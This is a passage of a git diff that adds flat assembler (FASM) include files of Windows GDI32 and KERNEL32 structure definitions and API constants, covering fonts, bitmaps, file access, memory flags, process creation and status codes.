dd ? + biWidth dd ? + biHeight dd ? + biPlanes dw ? + biBitCount dw ? + biCompression dd ? + biSizeImage dd ? + biXPelsPerMeter dd ? + biYPelsPerMeter dd ? + biClrUsed dd ? + biClrImportant dd ? +ends + +struct BITMAPFILEHEADER + bfType dw ? + bfSize dd ? + bfReserved1 dw ? + bfReserved2 dw ? + bfOffBits dd ? +ends + +struct TEXTMETRIC + tmHeight dd ? + tmAscent dd ? + tmDescent dd ? + tmInternalLeading dd ? + tmExternalLeading dd ? + tmAveCharWidth dd ? + tmMaxCharWidth dd ? + tmWeight dd ? + tmOverhang dd ? + tmDigitizedAspectX dd ? + tmDigitizedAspectY dd ? + tmFirstChar TCHAR ? + tmLastChar TCHAR ? + tmDefaultChar TCHAR ? + tmBreakChar TCHAR ? + tmItalic db ? + tmUnderlined db ? + tmStruckOut db ? + tmPitchAndFamily db ? + tmCharSet db ? +ends + +struct LOGBRUSH + lbStyle dd ? + lbColor dd ? + lbHatch dd ? +ends + +struct LOGPEN + lopnStyle dd ? + lopnWidth POINT + lopnColor dd ? +ends + +struct EXTLOGPEN + elpPenStyle dd ? + elpWidth dd ? + elpBrushStyle dd ? + elpColor dd ? + elpHatch dd ? + elpNumEntries dd ? + elpStyleEntry dd ? +ends + +struct LOGFONT + lfHeight dd ? + lfWidth dd ? + lfEscapement dd ? + lfOrientation dd ? + lfWeight dd ? + lfItalic db ? + lfUnderline db ? + lfStrikeOut db ? + lfCharSet db ? + lfOutPrecision db ? + lfClipPrecision db ? + lfQuality db ? + lfPitchAndFamily db ? + lfFaceName TCHAR 32 dup (?) +ends + +struct ENUMLOGFONT + elfLogFont LOGFONT + elfFullName TCHAR 64 dup (?) + elfStyle TCHAR 32 dup (?) +ends + +struct ENUMLOGFONTEX + elfLogFont LOGFONT + elfFullName TCHAR 64 dup (?) + elfStyle TCHAR 32 dup (?) + elfScript TCHAR 32 dup (?) +ends + +struct PIXELFORMATDESCRIPTOR + nSize dw ? + nVersion dw ? + dwFlags dd ? + iPixelType db ? + cColorBits db ? + cRedBits db ? + cRedShift db ? + cGreenBits db ? + cGreenShift db ? + cBlueBits db ? + cBlueShift db ? + cAlphaBits db ? + cAlphaShift db ? + cAccumBits db ? + cAccumRedBits db ? + cAccumGreenBits db ? + cAccumBlueBits db ? + cAccumAlphaBits db ? + cDepthBits db ? + cStencilBits db ? + cAuxBuffers db ? + iLayerType db ? + bReserved db ? + dwLayerMask dd ? + dwVisibleMask dd ? + dwDamageMask dd ? +ends + +struct TRIVERTEX + x dd ? + y dd ? + Red dw ? + Green dw ? + Blue dw ? + Alpha dw ? +ends + +; General constants + +GDI_ERROR = 0FFFFFFFFh +HGDI_ERROR = 0FFFFFFFFh + +; Binary raster operations + +R2_BLACK = 1 +R2_NOTMERGEPEN = 2 +R2_MASKNOTPEN = 3 +R2_NOTCOPYPEN = 4 +R2_MASKPENNOT = 5 +R2_NOT = 6 +R2_XORPEN = 7 +R2_NOTMASKPEN = 8 +R2_MASKPEN = 9 +R2_NOTXORPEN = 10 +R2_NOP = 11 +R2_MERGENOTPEN = 12 +R2_COPYPEN = 13 +R2_MERGEPENNOT = 14 +R2_MERGEPEN = 15 +R2_WHITE = 16 + +; Raster operations + +SRCCOPY = 00CC0020h +SRCPAINT = 00EE0086h +SRCAND = 008800C6h +SRCINVERT = 00660046h +SRCERASE = 00440328h +NOTSRCCOPY = 00330008h +NOTSRCERASE = 001100A6h +MERGECOPY = 00C000CAh +MERGEPAINT = 00BB0226h +PATCOPY = 00F00021h +PATPAINT = 00FB0A09h +PATINVERT = 005A0049h +DSTINVERT = 00550009h +BLACKNESS = 00000042h +WHITENESS = 00FF0062h + +; Region flags + +ERROR = 0 +NULLREGION = 1 +SIMPLEREGION = 2 +COMPLEXREGION = 3 + +; CombineRgn styles + +RGN_AND = 1 +RGN_OR = 2 +RGN_XOR = 3 +RGN_DIFF = 4 +RGN_COPY = 5 + +; StretchBlt modes + +BLACKONWHITE = 1 +WHITEONBLACK = 2 +COLORONCOLOR = 3 +HALFTONE = 4 +STRETCH_ANDSCANS = BLACKONWHITE +STRETCH_ORSCANS = WHITEONBLACK +STRETCH_DELETESCANS = COLORONCOLOR +STRETCH_HALFTONE = HALFTONE + +; PolyFill modes + +ALTERNATE = 1 +WINDING = 2 + +; Background modes + +TRANSPARENT = 1 +OPAQUE = 2 + +; Point types + +PT_CLOSEFIGURE = 1 +PT_LINETO = 2 +PT_BEZIERTO = 4 +PT_MOVETO = 6 + +; Mapping modes + +MM_TEXT = 1 +MM_LOMETRIC = 2 +MM_HIMETRIC = 3 +MM_LOENGLISH = 4 +MM_HIENGLISH = 5 +MM_TWIPS = 6 +MM_ISOTROPIC = 7 +MM_ANISOTROPIC = 8 + +; Coordinate modes + +ABSOLUTE = 1 +RELATIVE = 2 + +; Stock logical objects + +WHITE_BRUSH = 0 +LTGRAY_BRUSH = 1 +GRAY_BRUSH = 2 +DKGRAY_BRUSH = 3 +BLACK_BRUSH = 4 +NULL_BRUSH = 5 +HOLLOW_BRUSH = NULL_BRUSH +WHITE_PEN = 6 +BLACK_PEN = 7 +NULL_PEN = 8 +OEM_FIXED_FONT = 10 +ANSI_FIXED_FONT = 11 +ANSI_VAR_FONT = 12 +SYSTEM_FONT = 13 +DEVICE_DEFAULT_FONT = 14 +DEFAULT_PALETTE = 15 +SYSTEM_FIXED_FONT = 16 +DEFAULT_GUI_FONT = 17 + +; Brush styles + +BS_SOLID = 0 +BS_NULL = 1 +BS_HOLLOW = BS_NULL +BS_HATCHED = 2 +BS_PATTERN = 3 +BS_INDEXED = 4 +BS_DIBPATTERN = 5 +BS_DIBPATTERNPT = 6 +BS_PATTERN8X8 = 7 +BS_DIBPATTERN8X8 = 8 +BS_MONOPATTERN = 9 + +; Hatch styles + +HS_HORIZONTAL = 0 +HS_VERTICAL = 1 +HS_FDIAGONAL = 2 +HS_BDIAGONAL = 3 +HS_CROSS = 4 +HS_DIAGCROSS = 5 + +; Pen styles + +PS_SOLID = 0 +PS_DASH = 1 +PS_DOT = 2 +PS_DASHDOT = 3 +PS_DASHDOTDOT = 4 +PS_NULL = 5 +PS_INSIDEFRAME = 6 +PS_USERSTYLE = 7 +PS_ALTERNATE = 8 +PS_ENDCAP_ROUND = 0 +PS_ENDCAP_SQUARE = 100h +PS_ENDCAP_FLAT = 200h +PS_JOIN_ROUND = 0 +PS_JOIN_BEVEL = 1000h +PS_JOIN_MITER = 2000h +PS_COSMETIC = 0 +PS_GEOMETRIC = 010000h + +; Arc directions + +AD_COUNTERCLOCKWISE = 1 +AD_CLOCKWISE = 2 + +; Text alignment options + +TA_NOUPDATECP = 0 +TA_UPDATECP = 1 +TA_LEFT = 0 +TA_RIGHT = 2 +TA_CENTER = 6 +TA_TOP = 0 +TA_BOTTOM = 8 +TA_BASELINE = 24 +TA_RTLREADING = 100h +VTA_BASELINE = TA_BASELINE +VTA_LEFT = TA_BOTTOM +VTA_RIGHT = TA_TOP +VTA_CENTER = TA_CENTER +VTA_BOTTOM = TA_RIGHT +VTA_TOP = TA_LEFT + +; ExtTextOut options + +ETO_OPAQUE = 0002h +ETO_CLIPPED = 0004h +ETO_GLYPH_INDEX = 0010h +ETO_RTLREADING = 0080h +ETO_IGNORELANGUAGE = 1000h + +; Bitmap compression types + +BI_RGB = 0 +BI_RLE8 = 1 +BI_RLE4 = 2 +BI_BITFIELDS = 3 + +; tmPitchAndFamily flags + +TMPF_FIXED_PITCH = 1 +TMPF_VECTOR = 2 +TMPF_TRUETYPE = 4 +TMPF_DEVICE = 8 + +; Font output precision values + +OUT_DEFAULT_PRECIS = 0 +OUT_STRING_PRECIS = 1 +OUT_CHARACTER_PRECIS = 2 +OUT_STROKE_PRECIS = 3 +OUT_TT_PRECIS = 4 +OUT_DEVICE_PRECIS = 5 +OUT_RASTER_PRECIS = 6 +OUT_TT_ONLY_PRECIS = 7 +OUT_OUTLINE_PRECIS = 8 +OUT_SCREEN_OUTLINE_PRECIS = 9 + +; Font clipping precision values + +CLIP_DEFAULT_PRECIS = 0 +CLIP_CHARACTER_PRECIS = 1 +CLIP_STROKE_PRECIS = 2 +CLIP_LH_ANGLES = 10h +CLIP_TT_ALWAYS = 20h +CLIP_EMBEDDED = 80h + +; Font output quality values + +DEFAULT_QUALITY = 0 +DRAFT_QUALITY = 1 +PROOF_QUALITY = 2 +NONANTIALIASED_QUALITY = 3 +ANTIALIASED_QUALITY = 4 + +; Font pitch values + +DEFAULT_PITCH = 0 +FIXED_PITCH = 1 +VARIABLE_PITCH = 2 +MONO_FONT = 8 + +; Font families + +FF_DONTCARE = 00h +FF_ROMAN = 10h +FF_SWISS = 20h +FF_MODERN = 30h +FF_SCRIPT = 40h +FF_DECORATIVE = 50h + +; Font weights + +FW_DONTCARE = 0 +FW_THIN = 100 +FW_EXTRALIGHT = 200 +FW_LIGHT = 300 +FW_NORMAL = 400 +FW_MEDIUM = 500 +FW_SEMIBOLD = 600 +FW_BOLD = 700 +FW_EXTRABOLD = 800 +FW_HEAVY = 900 +FW_ULTRALIGHT = FW_EXTRALIGHT +FW_REGULAR = FW_NORMAL +FW_DEMIBOLD = FW_SEMIBOLD +FW_ULTRABOLD = FW_EXTRABOLD +FW_BLACK = FW_HEAVY + +; Character set values + +ANSI_CHARSET = 0 +DEFAULT_CHARSET = 1 +SYMBOL_CHARSET = 2 +SHIFTJIS_CHARSET = 128 +HANGEUL_CHARSET = 129 +GB2312_CHARSET = 134 +CHINESEBIG5_CHARSET = 136 +OEM_CHARSET = 255 +JOHAB_CHARSET = 130 +HEBREW_CHARSET = 177 +ARABIC_CHARSET = 178 +GREEK_CHARSET = 161 +TURKISH_CHARSET = 162 +VIETNAMESE_CHARSET = 163 +THAI_CHARSET = 222 +EASTEUROPE_CHARSET = 238 +RUSSIAN_CHARSET = 204 +MAC_CHARSET = 77 +BALTIC_CHARSET = 186 + +; Pixel format constants + +PFD_TYPE_RGBA = 0 +PFD_TYPE_COLORINDEX = 1 +PFD_MAIN_PLANE = 0 +PFD_OVERLAY_PLANE = 1 +PFD_UNDERLAY_PLANE = -1 +PFD_DOUBLEBUFFER = 1 +PFD_STEREO = 2 +PFD_DRAW_TO_WINDOW = 4 +PFD_DRAW_TO_BITMAP = 8 +PFD_SUPPORT_GDI = 10h +PFD_SUPPORT_OPENGL = 20h +PFD_GENERIC_FORMAT = 40h +PFD_NEED_PALETTE = 80h +PFD_NEED_SYSTEM_PALETTE = 100h +PFD_SWAP_EXCHANGE = 200h +PFD_SWAP_COPY = 400h +PFD_SWAP_LAYER_BUFFERS = 800h +PFD_GENERIC_ACCELERATED = 1000h +PFD_DEPTH_DONTCARE = 20000000h +PFD_DOUBLEBUFFER_DONTCARE = 40000000h +PFD_STEREO_DONTCARE = 80000000h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL32.INC new file mode 100755 index 0000000..b043e1e --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL32.INC @@ -0,0 +1,812 @@ + +; KERNEL32.DLL structures and constants + +struct SYSTEM_INFO + wProcessorArchitecture dw ? + wReserved dw ? + dwPageSize dd ? + lpMinimumApplicationAddress dd ? + lpMaximumApplicationAddress dd ? + dwActiveProcessorMask dd ? + dwNumberOfProcessors dd ? + dwProcessorType dd ? + dwAllocationGranularity dd ? + wProcessorLevel dw ? + wProcessorRevision dw ? +ends + +struct OSVERSIONINFO + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion TCHAR 128 dup (?) +ends + +struct OSVERSIONINFOA + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion db 128 dup (?) +ends + +struct OSVERSIONINFOW + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion du 128 dup (?) +ends + +struct MEMORYSTATUS + dwLength dd ? + dwMemoryLoad dd ? + dwTotalPhys dd ? + dwAvailPhys dd ? + dwTotalPageFile dd ? + dwAvailPageFile dd ? + dwTotalVirtual dd ? + dwAvailVirtual dd ? +ends + +struct STARTUPINFO + cb dd ? + lpReserved dd ? + lpDesktop dd ? + lpTitle dd ? + dwX dd ? + dwY dd ? + dwXSize dd ? + dwYSize dd ? + dwXCountChars dd ? + dwYCountChars dd ? + dwFillAttribute dd ? + dwFlags dd ? + wShowWindow dw ? + cbReserved2 dw ? + lpReserved2 dd ? + hStdInput dd ? + hStdOutput dd ? + hStdError dd ? +ends + +struct PROCESS_INFORMATION + hProcess dd ? + hThread dd ? + dwProcessId dd ? + dwThreadId dd ? +ends + +struct FILETIME + dwLowDateTime dd ? + dwHighDateTime dd ? +ends + +struct SYSTEMTIME + wYear dw ? + wMonth dw ? + wDayOfWeek dw ? + wDay dw ? + wHour dw ? + wMinute dw ? + wSecond dw ? + wMilliseconds dw ? +ends + +struct BY_HANDLE_FILE_INFORMATION + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + dwVolumeSerialNumber dd ? + nFileSizeHigh dd ? + nFileSizeLow dd ? + nNumberOfLinks dd ? + nFileIndexHigh dd ? + nFileIndexLow dd ? +ends + +struct WIN32_FIND_DATA + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName TCHAR MAX_PATH dup (?) + cAlternateFileName TCHAR 14 dup (?) +ends + +struct WIN32_FIND_DATAA + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName db MAX_PATH dup (?) + cAlternateFileName db 14 dup (?) +ends + +struct WIN32_FIND_DATAW + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName du MAX_PATH dup (?) + cAlternateFileName du 14 dup (?) +ends + +; General constants + +NULL = 0 +TRUE = 1 +FALSE = 0 + +; Maximum path length in characters + +MAX_PATH = 260 + +; Access rights + +DELETE_RIGHT = 00010000h +READ_CONTROL = 00020000h +WRITE_DAC = 00040000h +WRITE_OWNER = 00080000h +SYNCHRONIZE = 00100000h +STANDARD_RIGHTS_READ = READ_CONTROL +STANDARD_RIGHTS_WRITE = READ_CONTROL +STANDARD_RIGHTS_EXECUTE = READ_CONTROL +STANDARD_RIGHTS_REQUIRED = 000F0000h +STANDARD_RIGHTS_ALL = 001F0000h +SPECIFIC_RIGHTS_ALL = 0000FFFFh +ACCESS_SYSTEM_SECURITY = 01000000h +MAXIMUM_ALLOWED = 02000000h +GENERIC_READ = 80000000h +GENERIC_WRITE = 40000000h +GENERIC_EXECUTE = 20000000h +GENERIC_ALL = 10000000h +PROCESS_TERMINATE = 00000001h +PROCESS_CREATE_THREAD = 00000002h +PROCESS_VM_OPERATION = 00000008h +PROCESS_VM_READ = 00000010h +PROCESS_VM_WRITE = 00000020h +PROCESS_DUP_HANDLE = 00000040h +PROCESS_CREATE_PROCESS = 00000080h +PROCESS_SET_QUOTA = 00000100h +PROCESS_SET_INFORMATION = 00000200h +PROCESS_QUERY_INFORMATION = 00000400h +PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or 0FFFh +FILE_SHARE_READ = 00000001h +FILE_SHARE_WRITE = 00000002h +FILE_SHARE_DELETE = 00000004h + +; CreateFile actions + +CREATE_NEW = 1 +CREATE_ALWAYS = 2 +OPEN_EXISTING = 3 +OPEN_ALWAYS = 4 +TRUNCATE_EXISTING = 5 + +; OpenFile modes + +OF_READ = 0000h +OF_WRITE = 0001h +OF_READWRITE = 0002h +OF_SHARE_COMPAT = 0000h +OF_SHARE_EXCLUSIVE = 0010h +OF_SHARE_DENY_WRITE = 0020h +OF_SHARE_DENY_READ = 0030h +OF_SHARE_DENY_NONE = 0040h +OF_PARSE = 0100h +OF_DELETE = 0200h +OF_VERIFY = 0400h +OF_CANCEL = 0800h +OF_CREATE = 1000h +OF_PROMPT = 2000h +OF_EXIST = 4000h +OF_REOPEN = 8000h + +; SetFilePointer methods + +FILE_BEGIN = 0 +FILE_CURRENT = 1 +FILE_END = 2 + +; File attributes + +FILE_ATTRIBUTE_READONLY = 001h +FILE_ATTRIBUTE_HIDDEN = 002h +FILE_ATTRIBUTE_SYSTEM = 004h +FILE_ATTRIBUTE_DIRECTORY = 010h +FILE_ATTRIBUTE_ARCHIVE = 020h +FILE_ATTRIBUTE_NORMAL = 080h +FILE_ATTRIBUTE_TEMPORARY = 100h +FILE_ATTRIBUTE_COMPRESSED = 800h + +; File flags + +FILE_FLAG_WRITE_THROUGH = 80000000h +FILE_FLAG_OVERLAPPED = 40000000h +FILE_FLAG_NO_BUFFERING = 20000000h +FILE_FLAG_RANDOM_ACCESS = 10000000h +FILE_FLAG_SEQUENTIAL_SCAN = 08000000h +FILE_FLAG_DELETE_ON_CLOSE = 04000000h +FILE_FLAG_BACKUP_SEMANTICS = 02000000h +FILE_FLAG_POSIX_SEMANTICS = 01000000h + +; Notify filters + +FILE_NOTIFY_CHANGE_FILE_NAME = 001h +FILE_NOTIFY_CHANGE_DIR_NAME = 002h +FILE_NOTIFY_CHANGE_ATTRIBUTES = 004h +FILE_NOTIFY_CHANGE_SIZE = 008h +FILE_NOTIFY_CHANGE_LAST_WRITE = 010h +FILE_NOTIFY_CHANGE_SECURITY = 100h + +; File types + +FILE_TYPE_UNKNOWN = 0 +FILE_TYPE_DISK = 1 +FILE_TYPE_CHAR = 2 +FILE_TYPE_PIPE = 3 +FILE_TYPE_REMOTE = 8000h + +; LockFileEx flags + +LOCKFILE_FAIL_IMMEDIATELY = 1 +LOCKFILE_EXCLUSIVE_LOCK = 2 + +; MoveFileEx flags + +MOVEFILE_REPLACE_EXISTING = 1 +MOVEFILE_COPY_ALLOWED = 2 +MOVEFILE_DELAY_UNTIL_REBOOT = 4 +MOVEFILE_WRITE_THROUGH = 8 + +; FindFirstFileEx flags + +FIND_FIRST_EX_CASE_SENSITIVE = 1 + +; Device handles + +INVALID_HANDLE_VALUE = -1 +STD_INPUT_HANDLE = -10 +STD_OUTPUT_HANDLE = -11 +STD_ERROR_HANDLE = -12 + +; DuplicateHandle options + +DUPLICATE_CLOSE_SOURCE = 1 +DUPLICATE_SAME_ACCESS = 2 + +; File mapping acccess rights + +SECTION_QUERY = 01h +SECTION_MAP_WRITE = 02h +SECTION_MAP_READ = 04h +SECTION_MAP_EXECUTE = 08h +SECTION_EXTEND_SIZE = 10h +SECTION_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SECTION_QUERY or SECTION_MAP_WRITE or SECTION_MAP_READ or SECTION_MAP_EXECUTE or SECTION_EXTEND_SIZE +FILE_MAP_COPY = SECTION_QUERY +FILE_MAP_WRITE = SECTION_MAP_WRITE +FILE_MAP_READ = SECTION_MAP_READ +FILE_MAP_ALL_ACCESS = SECTION_ALL_ACCESS + +; File system flags + +FILE_CASE_SENSITIVE_SEARCH = 0001h +FILE_CASE_PRESERVED_NAMES = 0002h +FILE_UNICODE_ON_DISK = 0004h +FILE_PERSISTENT_ACLS = 0008h +FILE_FILE_COMPRESSION = 0010h +FILE_VOLUME_IS_COMPRESSED = 8000h +FS_CASE_IS_PRESERVED = FILE_CASE_PRESERVED_NAMES +FS_CASE_SENSITIVE = FILE_CASE_SENSITIVE_SEARCH +FS_UNICODE_STORED_ON_DISK = FILE_UNICODE_ON_DISK +FS_PERSISTENT_ACLS = FILE_PERSISTENT_ACLS + +; Drive types + +DRIVE_UNKNOWN = 0 +DRIVE_NO_ROOT_DIR = 1 +DRIVE_REMOVABLE = 2 +DRIVE_FIXED = 3 +DRIVE_REMOTE = 4 +DRIVE_CDROM = 5 +DRIVE_RAMDISK = 6 + +; Pipe modes + +PIPE_ACCESS_INBOUND = 1 +PIPE_ACCESS_OUTBOUND = 2 +PIPE_ACCESS_DUPLEX = 3 +PIPE_CLIENT_END = 0 +PIPE_SERVER_END = 1 +PIPE_WAIT = 0 +PIPE_NOWAIT = 1 +PIPE_READMODE_BYTE = 0 +PIPE_READMODE_MESSAGE = 2 +PIPE_TYPE_BYTE = 0 +PIPE_TYPE_MESSAGE = 4 +PIPE_UNLIMITED_INSTANCES = 255 + +; Global memory flags + +GMEM_FIXED = 0000h +GMEM_MOVEABLE = 0002h +GMEM_NOCOMPACT = 0010h +GMEM_NODISCARD = 0020h +GMEM_ZEROINIT = 0040h +GMEM_MODIFY = 0080h +GMEM_DISCARDABLE = 0100h +GMEM_NOT_BANKED = 1000h +GMEM_SHARE = 2000h +GMEM_DDESHARE = 2000h +GMEM_NOTIFY = 4000h +GMEM_LOWER = GMEM_NOT_BANKED +GMEM_VALID_FLAGS = 7F72h +GMEM_INVALID_HANDLE = 8000h +GMEM_DISCARDED = 4000h +GMEM_LOCKCOUNT = 0FFh +GHND = GMEM_MOVEABLE + GMEM_ZEROINIT +GPTR = GMEM_FIXED + GMEM_ZEROINIT + +; Local memory flags + +LMEM_FIXED = 0000h +LMEM_MOVEABLE = 0002h +LMEM_NOCOMPACT = 0010h +LMEM_NODISCARD = 0020h +LMEM_ZEROINIT = 0040h +LMEM_MODIFY = 0080h +LMEM_DISCARDABLE = 0F00h +LMEM_VALID_FLAGS = 0F72h +LMEM_INVALID_HANDLE = 8000h +LHND = LMEM_MOVEABLE + LMEM_ZEROINIT +LPTR = LMEM_FIXED + LMEM_ZEROINIT +LMEM_DISCARDED = 4000h +LMEM_LOCKCOUNT = 00FFh + +; Page access flags + +PAGE_NOACCESS = 001h +PAGE_READONLY = 002h +PAGE_READWRITE = 004h +PAGE_WRITECOPY = 008h +PAGE_EXECUTE = 010h +PAGE_EXECUTE_READ = 020h +PAGE_EXECUTE_READWRITE = 040h +PAGE_EXECUTE_WRITECOPY = 080h +PAGE_GUARD = 100h +PAGE_NOCACHE = 200h + +; Memory allocation flags + +MEM_COMMIT = 001000h +MEM_RESERVE = 002000h +MEM_DECOMMIT = 004000h +MEM_RELEASE = 008000h +MEM_FREE = 010000h +MEM_PRIVATE = 020000h +MEM_MAPPED = 040000h +MEM_RESET = 080000h +MEM_TOP_DOWN = 100000h + +; Heap allocation flags + +HEAP_NO_SERIALIZE = 1 +HEAP_GENERATE_EXCEPTIONS = 4 +HEAP_ZERO_MEMORY = 8 + +; Platform identifiers + +VER_PLATFORM_WIN32s = 0 +VER_PLATFORM_WIN32_WINDOWS = 1 +VER_PLATFORM_WIN32_NT = 2 + +; GetBinaryType return values + +SCS_32BIT_BINARY = 0 +SCS_DOS_BINARY = 1 +SCS_WOW_BINARY = 2 +SCS_PIF_BINARY = 3 +SCS_POSIX_BINARY = 4 +SCS_OS216_BINARY = 5 + +; CreateProcess flags + +DEBUG_PROCESS = 001h +DEBUG_ONLY_THIS_PROCESS = 002h +CREATE_SUSPENDED = 004h +DETACHED_PROCESS = 008h +CREATE_NEW_CONSOLE = 010h +NORMAL_PRIORITY_CLASS = 020h +IDLE_PRIORITY_CLASS = 040h +HIGH_PRIORITY_CLASS = 080h +REALTIME_PRIORITY_CLASS = 100h +CREATE_NEW_PROCESS_GROUP = 200h +CREATE_SEPARATE_WOW_VDM = 800h + +; Thread priority values + +THREAD_BASE_PRIORITY_MIN = -2 +THREAD_BASE_PRIORITY_MAX = 2 +THREAD_BASE_PRIORITY_LOWRT = 15 +THREAD_BASE_PRIORITY_IDLE = -15 +THREAD_PRIORITY_LOWEST = THREAD_BASE_PRIORITY_MIN +THREAD_PRIORITY_BELOW_NORMAL = THREAD_PRIORITY_LOWEST + 1 +THREAD_PRIORITY_NORMAL = 0 +THREAD_PRIORITY_HIGHEST = THREAD_BASE_PRIORITY_MAX +THREAD_PRIORITY_ABOVE_NORMAL = THREAD_PRIORITY_HIGHEST - 1 +THREAD_PRIORITY_ERROR_RETURN = 7FFFFFFFh +THREAD_PRIORITY_TIME_CRITICAL = THREAD_BASE_PRIORITY_LOWRT +THREAD_PRIORITY_IDLE = THREAD_BASE_PRIORITY_IDLE + +; Startup flags + +STARTF_USESHOWWINDOW = 001h +STARTF_USESIZE = 002h +STARTF_USEPOSITION = 004h +STARTF_USECOUNTCHARS = 008h +STARTF_USEFILLATTRIBUTE = 010h +STARTF_RUNFULLSCREEN = 020h +STARTF_FORCEONFEEDBACK = 040h +STARTF_FORCEOFFFEEDBACK = 080h +STARTF_USESTDHANDLES = 100h + +; Shutdown flags + +SHUTDOWN_NORETRY = 1h + +; LoadLibraryEx flags + +DONT_RESOLVE_DLL_REFERENCES = 1 +LOAD_LIBRARY_AS_DATAFILE = 2 +LOAD_WITH_ALTERED_SEARCH_PATH = 8 + +; DLL entry-point calls + +DLL_PROCESS_DETACH = 0 +DLL_PROCESS_ATTACH = 1 +DLL_THREAD_ATTACH = 2 +DLL_THREAD_DETACH = 3 + +; Status codes + +STATUS_WAIT_0 = 000000000h +STATUS_ABANDONED_WAIT_0 = 000000080h +STATUS_USER_APC = 0000000C0h +STATUS_TIMEOUT = 000000102h +STATUS_PENDING = 000000103h +STATUS_DATATYPE_MISALIGNMENT = 080000002h +STATUS_BREAKPOINT = 080000003h +STATUS_SINGLE_STEP = 080000004h +STATUS_ACCESS_VIOLATION = 0C0000005h +STATUS_IN_PAGE_ERROR = 0C0000006h +STATUS_NO_MEMORY = 0C0000017h +STATUS_ILLEGAL_INSTRUCTION = 0C000001Dh +STATUS_NONCONTINUABLE_EXCEPTION = 0C0000025h +STATUS_INVALID_DISPOSITION = 0C0000026h +STATUS_ARRAY_BOUNDS_EXCEEDED = 0C000008Ch +STATUS_FLOAT_DENORMAL_OPERAND = 0C000008Dh +STATUS_FLOAT_DIVIDE_BY_ZERO = 0C000008Eh +STATUS_FLOAT_INEXACT_RESULT = 0C000008Fh +STATUS_FLOAT_INVALID_OPERATION = 0C0000090h +STATUS_FLOAT_OVERFLOW = 0C0000091h +STATUS_FLOAT_STACK_CHECK = 0C0000092h +STATUS_FLOAT_UNDERFLOW = 0C0000093h +STATUS_INTEGER_DIVIDE_BY_ZERO = 0C0000094h +STATUS_INTEGER_OVERFLOW = 0C0000095h +STATUS_PRIVILEGED_INSTRUCTION = 0C0000096h +STATUS_STACK_OVERFLOW = 0C00000FDh +STATUS_CONTROL_C_EXIT = 0C000013Ah +WAIT_FAILED = -1 +WAIT_OBJECT_0 = STATUS_WAIT_0 +WAIT_ABANDONED = STATUS_ABANDONED_WAIT_0 +WAIT_ABANDONED_0 = STATUS_ABANDONED_WAIT_0 +WAIT_TIMEOUT = STATUS_TIMEOUT +WAIT_IO_COMPLETION = STATUS_USER_APC +STILL_ACTIVE = STATUS_PENDING + +; Exception codes + +EXCEPTION_CONTINUABLE = 0 +EXCEPTION_NONCONTINUABLE = 1 +EXCEPTION_ACCESS_VIOLATION = STATUS_ACCESS_VIOLATION +EXCEPTION_DATATYPE_MISALIGNMENT = STATUS_DATATYPE_MISALIGNMENT +EXCEPTION_BREAKPOINT = STATUS_BREAKPOINT +EXCEPTION_SINGLE_STEP = STATUS_SINGLE_STEP +EXCEPTION_ARRAY_BOUNDS_EXCEEDED = STATUS_ARRAY_BOUNDS_EXCEEDED +EXCEPTION_FLT_DENORMAL_OPERAND = STATUS_FLOAT_DENORMAL_OPERAND +EXCEPTION_FLT_DIVIDE_BY_ZERO = STATUS_FLOAT_DIVIDE_BY_ZERO +EXCEPTION_FLT_INEXACT_RESULT = STATUS_FLOAT_INEXACT_RESULT +EXCEPTION_FLT_INVALID_OPERATION = STATUS_FLOAT_INVALID_OPERATION +EXCEPTION_FLT_OVERFLOW = STATUS_FLOAT_OVERFLOW +EXCEPTION_FLT_STACK_CHECK = STATUS_FLOAT_STACK_CHECK +EXCEPTION_FLT_UNDERFLOW = STATUS_FLOAT_UNDERFLOW +EXCEPTION_INT_DIVIDE_BY_ZERO = STATUS_INTEGER_DIVIDE_BY_ZERO +EXCEPTION_INT_OVERFLOW = STATUS_INTEGER_OVERFLOW +EXCEPTION_ILLEGAL_INSTRUCTION = STATUS_ILLEGAL_INSTRUCTION +EXCEPTION_PRIV_INSTRUCTION = STATUS_PRIVILEGED_INSTRUCTION +EXCEPTION_IN_PAGE_ERROR = STATUS_IN_PAGE_ERROR + +; Registry options + +REG_OPTION_RESERVED = 0 +REG_OPTION_NON_VOLATILE = 0 +REG_OPTION_VOLATILE = 1 +REG_OPTION_CREATE_LINK = 2 +REG_OPTION_BACKUP_RESTORE = 4 +REG_CREATED_NEW_KEY = 1 +REG_OPENED_EXISTING_KEY = 2 +REG_WHOLE_HIVE_VOLATILE = 1 +REG_REFRESH_HIVE = 2 +REG_NOTIFY_CHANGE_NAME = 1 +REG_NOTIFY_CHANGE_ATTRIBUTES = 2 +REG_NOTIFY_CHANGE_LAST_SET = 4 +REG_NOTIFY_CHANGE_SECURITY = 8 +REG_LEGAL_CHANGE_FILTER = REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY +REG_LEGAL_OPTION = REG_OPTION_RESERVED or REG_OPTION_NON_VOLATILE or REG_OPTION_VOLATILE or REG_OPTION_CREATE_LINK or 